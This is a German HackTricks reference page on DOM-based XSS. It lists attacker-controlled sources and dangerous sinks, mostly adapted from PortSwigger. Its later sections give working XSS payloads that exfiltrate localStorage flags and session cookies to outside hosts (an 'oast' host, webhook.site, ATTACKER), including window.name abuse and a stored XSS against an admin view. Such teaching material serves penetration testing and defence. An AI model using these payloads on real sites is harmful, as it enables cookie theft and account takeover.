DOM XSS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DOM-Schwachstellen
DOM-Schwachstellen treten auf, wenn Daten aus vom Angreifer kontrollierten sources (wie location.search, document.referrer oder document.cookie) unsicher an sinks übertragen werden. Sinks sind Funktionen oder Objekte (z. B. eval(), document.body.innerHTML), die schädlichen Inhalt ausführen oder rendern können, wenn sie bösartige Daten erhalten.
- Sources sind Eingaben, die von Angreifern manipuliert werden können, einschließlich URLs, cookies und Webnachrichten.
- Sinks sind potenziell gefährliche Endpunkte, an denen schädliche Daten zu negativen Auswirkungen wie der Ausführung von Skripten führen können.
Das Risiko entsteht, wenn Daten von einer source zu einem sink fließen, ohne ordnungsgemäße Validierung oder Bereinigung, wodurch Angriffe wie XSS ermöglicht werden.
Tip
Sie finden eine aktuellere Liste von sources und sinks unter https://github.com/wisec/domxsswiki/wiki
Häufige sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Häufige Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
Der innerHTML-Sink akzeptiert in keinem modernen Browser script-Elemente, und svg onload-Events werden ebenfalls nicht ausgelöst. Das bedeutet, dass du alternative Elemente wie img oder iframe verwenden musst.
Diese Art von XSS ist wahrscheinlich am schwersten zu finden, da du in den JS-Code schauen musst, prüfen musst, ob er ein Objekt verwendet, dessen Wert du kontrollierst, und falls ja, ob es eine Möglichkeit gibt, dies auszunutzen, um beliebigen JS-Code auszuführen.
Tools zum Auffinden
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Browser-Erweiterung, um alle Daten zu prüfen, die einen potenziellen Sink erreichen: https://github.com/kevin-mizu/domloggerpp
Beispiele
Open Redirect
Von: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM treten auf, wenn ein Skript Daten, die ein Angreifer kontrollieren kann, in einen Sink schreibt, der eine domänenübergreifende Navigation auslösen kann.
Es ist wichtig zu verstehen, dass das Ausführen von beliebigem Code, wie javascript:alert(1), möglich ist, wenn du die Kontrolle über den Anfang der URL hast, an der die Weiterleitung erfolgt.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities treten auf, wenn ein Script Daten, die von einem Angreifer kontrolliert werden können, in den Wert eines Cookies einfügt. Diese Schwachstelle kann zu unerwartetem Verhalten der Webseite führen, wenn das Cookie innerhalb der Site verwendet wird. Außerdem kann sie ausgenutzt werden, um eine session fixation attack durchzuführen, wenn das Cookie zur Nachverfolgung von Benutzer-Sessions beteiligt ist. Die primäre Sink, die mit dieser Schwachstelle verbunden ist, ist:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities entstehen, wenn ein script Daten, die von einem Angreifer kontrolliert werden können, als JavaScript code ausführt.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Quelle: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities treten auf, wenn ein Script die Eigenschaft document.domain mit Daten setzt, die ein Angreifer kontrollieren kann.
Die document.domain-Eigenschaft spielt eine wichtige Rolle bei der Durchsetzung der same-origin policy durch Browser. Wenn zwei Seiten aus unterschiedlichen Ursprüngen ihr document.domain auf denselben Wert setzen, können sie ohne Einschränkungen miteinander interagieren. Obwohl Browser bestimmte Grenzen für die Werte auferlegen, die document.domain zugewiesen werden können, und dadurch die Zuweisung völlig nicht verwandter Werte zur tatsächlichen Origin der Seite verhindern, bestehen Ausnahmen. Typischerweise erlauben Browser die Verwendung von child oder parent domains.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning tritt auf, wenn ein Skript kontrollierbare Daten als Ziel-URL für eine WebSocket-Verbindung verwendet.
Sinks:
Der WebSocket-Konstruktor kann zu WebSocket-URL poisoning Schwachstellen führen.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities treten auf, wenn ein Skript vom Angreifer kontrollierte Daten in ein Navigationsziel innerhalb der aktuellen Seite schreibt, z. B. einen anklickbaren Link oder die Absende-URL eines Formulars.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Quelle: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten in eine Ajax request schreibt, die mit einem XmlHttpRequest-Objekt gesendet wird.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
Quelle: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten an eine dateiverarbeitende API als Parameter filename übergibt. Diese Schwachstelle kann von einem Angreifer ausgenutzt werden, um eine URL zu konstruieren, die — wenn sie von einem anderen Benutzer aufgerufen wird — dazu führen kann, dass der Browser des Benutzers eine beliebige lokale Datei öffnet oder schreibt.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Von: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities treten auf, wenn ein Skript attacker-controllable data auf unsichere Weise in eine client-side SQL query einbindet.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten im HTML5-Speicher des Browsers (localStorage oder sessionStorage) ablegt. Diese Handlung ist nicht per se eine Sicherheitslücke, wird jedoch problematisch, wenn die Anwendung anschließend die gespeicherten Daten ausliest und unsicher verarbeitet. Dadurch könnte ein Angreifer den Speichermechanismus ausnutzen, um andere DOM-basierte Angriffe durchzuführen, wie etwa cross-site scripting und JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Quelle: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities treten auf, wenn ein Skript von einem Angreifer kontrollierbare Daten in eine XPath query einbindet.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Quelle: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities treten auf, wenn ein Skript vom Angreifer kontrollierbare Daten in einen String einfügt, der als JSON-Datenstruktur geparst und anschließend von der Anwendung verarbeitet wird.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message-Schwachstellen entstehen, wenn ein Skript vom Angreifer kontrollierbare Daten als Web Message an ein anderes Dokument innerhalb des Browsers sendet. Ein Beispiel für eine verwundbare Web-message-Manipulation findet sich bei PortSwigger’s Web Security Academy.
Sinks:
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-Datenmanipulations-Schwachstellen treten auf, wenn ein Skript vom Angreifer kontrollierbare Daten in ein Feld im DOM schreibt, das in der sichtbaren UI oder in clientseitiger Logik verwendet wird. Diese Schwachstelle kann von einem Angreifer ausgenutzt werden, um eine URL zu konstruieren, die, wenn sie von einem anderen Benutzer besucht wird, das Erscheinungsbild oder das Verhalten der clientseitigen UI verändern kann.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
Quelle: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities treten auf, wenn ein Skript attacker-controllable data unsafely to a problematic platform API übergibt. Dies umfasst APIs, die, wenn sie aufgerufen werden, dazu führen können, dass der Computer des Benutzers übermäßige Mengen an CPU oder Festplattenspeicher verbraucht. Solche Schwachstellen können erhebliche Nebenwirkungen haben, z. B. dass der Browser die Funktionalität der Website einschränkt, indem er Versuche, Daten in localStorage zu speichern, ablehnt oder laufende Skripte beendet.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implizite globale Variablen & window.name-Missbrauch
Wenn man auf name ohne Deklaration (var/let/const) verweist, wird das zu window.name aufgelöst. Da window.name über Cross-Origin-Navigationen hinweg bestehen bleibt, kann ein Angreifer den Namen eines Browsing-Kontexts mit HTML/JS vorbefüllen und später dafür sorgen, dass Code des Opfers ihn als vertrauenswürdige Daten rendert:
- Öffne/navigiere das Ziel in einem benannten Kontext, den du kontrollierst:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Oder
window.openmit einem manipulierten Zielnamen wiederverwenden:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Wenn die Anwendung später element.innerHTML = name (or similar sink) ohne Sanitization ausführt, wird die vom Angreifer kontrollierte window.name-Zeichenkette im Ziel-Origin ausgeführt, wodurch DOM XSS und Zugriff auf same-origin storage möglich werden.
Admin/automation flows: pre-seeded storage & javascript: navigation
Automation-Bots (z. B. Playwright) besuchen oft zuerst eine interne Seite, legen Secrets in localStorage/cookies ab und navigieren dann zu von Nutzern bereitgestellten URLs. Jede DOM XSS-Primitive (einschließlich window.name-Missbrauch) in diesem Ablauf kann das vorab gesetzte Secret exfiltrieren:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Wenn der Bot URL-Schemes nicht einschränkt, führt das Angeben einer javascript:-URL (javascript:fetch(...)) im aktuellen Origin ohne neue Navigation dazu, dass storage values direkt leaked werden.
Template literal innerHTML + partielle Sanitierungslücken
Frontends, die nur ausgewählte Felder sanitieren, aber dennoch ein nicht vertrauenswürdiges Feld direkt in innerHTML interpolieren, sind trivial ausnutzbar. Beispiel:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Wenn das nicht bereinigte Feld serverseitig gespeichert wird (z. B. Bug-Report “details”), wird die Nutzlast für jeden privilegierten Betrachter der Liste zu stored DOM XSS. Eine einfache Nutzlast wie <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> wird ausgeführt, wenn ein Admin die Seite öffnet, und exfiltriert deren Cookies.
Wenn die App SESSION_COOKIE_HTTPONLY explizit deaktiviert (z. B. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), gewährt das gestohlene Cookie dem Admin sofort die Session, selbst wenn das signing secret bei jedem Boot rotiert (ein zufälliger secret_key verhindert das Fälschen, aber der Diebstahl funktioniert weiterhin).
Referenzen
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


